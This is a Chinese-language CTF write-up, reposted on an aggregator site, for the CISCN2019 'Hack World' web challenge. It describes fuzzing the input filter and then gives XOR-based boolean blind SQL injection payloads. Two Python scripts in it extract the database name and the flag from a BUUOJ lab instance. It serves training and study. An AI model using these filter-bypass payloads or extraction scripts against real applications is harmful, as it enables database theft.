复习[CISCN2019 华北赛区 Day2 Web1]Hack World -----sql注入
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了复习[CISCN2019 华北赛区 Day2 Web1]Hack World -----sql注入相关的知识,希望对你有一定的参考价值。
目录:
一、自己做:
输入1和2 的时候是有正常的查询结果的。然后输入3的话就超过了。 输入其他的,不是id数字的就直接bool (false)
然后fuzz测试:482是给过滤的。
过滤了不少,仔细看一下,
- handler过滤了。像强网杯的那些就不行了。
- information 被过滤了。可以用那些sys来查找表明,然后用无列名注入就好。
- limit 被过滤了。要么就union select 要么就不用了。
- 或,与过滤了。可以用
^
异或。 - 空格,注释符,/**/都被过滤了。那么只能够使用
()
括号来了。
先不分析了。尝试一下把,
还是老思路:先尝试 联合查询注入,然后才是 bool 盲注。
联合查询好像不行:union不行,空格,/**/都不行,直接换bool盲注了。
初步的,最简单的bool盲注是好的:
0^(ascii(substr(database(),1,1))=1)
import requests
import re
database=''
url='http://3827197b-3b41-4d71-951d-068bca10f5d1.node3.buuoj.cn/index.php'
for i in range(1,20):
for j in range(32,140):
payload="""0^(ascii(substr(database(),{},1))={})""".format(i,j)
data={"id":payload}
resp = requests.post(url=url,data=data)
# obj=re.compile("Hello, glzjin wants a girlfriend",re.S) # 换行匹配。
if 'Hello, glzjin wants a girlfriend' in resp.text:
database = database + chr(j)
print (database)
break
else:print (1 ,end =' ')
爆出来的数据库是ctftrainin
其实这个不用的,题目已经告诉了。字段和表名了。
直接select(flag)from(flag)
。不能用limit,那就group_concat()
select(group_concat(flag))from(flag)
…。。这样我不会上括号啊。。
然后看WP,,
,,
差点忘了,这个是bool盲注,要用ascii的,而且不用limit ,也就不用group_concat 了。这里暗示就一列数据,
就好了。
0^(ascii(substr((select(flag)from(flag)),1,1))>0)
import requests
import re
database=''
url='http://3827197b-3b41-4d71-951d-068bca10f5d1.node3.buuoj.cn/index.php'
for i in range(1,60):
for j in range(32,140):
payload="""0^0^(ascii(substr((select(flag)from(flag)),{},1))={})""".format(i,j)
data={"id":payload}
resp = requests.post(url=url,data=data)
# obj=re.compile("Hello, glzjin wants a girlfriend",re.S) # 换行匹配。
if 'Hello, glzjin wants a girlfriend' in resp.text:
database = database + chr(j)
print (database)
break
else:print (1 ,end =' ')
二、 学到的:不足:
- 到后面就忘记了要用 bool盲注了。又想去用 group_concat和 llimit这些,题目已经给了暗示了,
- 补充一些思路点,
以上是关于复习[CISCN2019 华北赛区 Day2 Web1]Hack World -----sql注入的主要内容,如果未能解决你的问题,请参考以下文章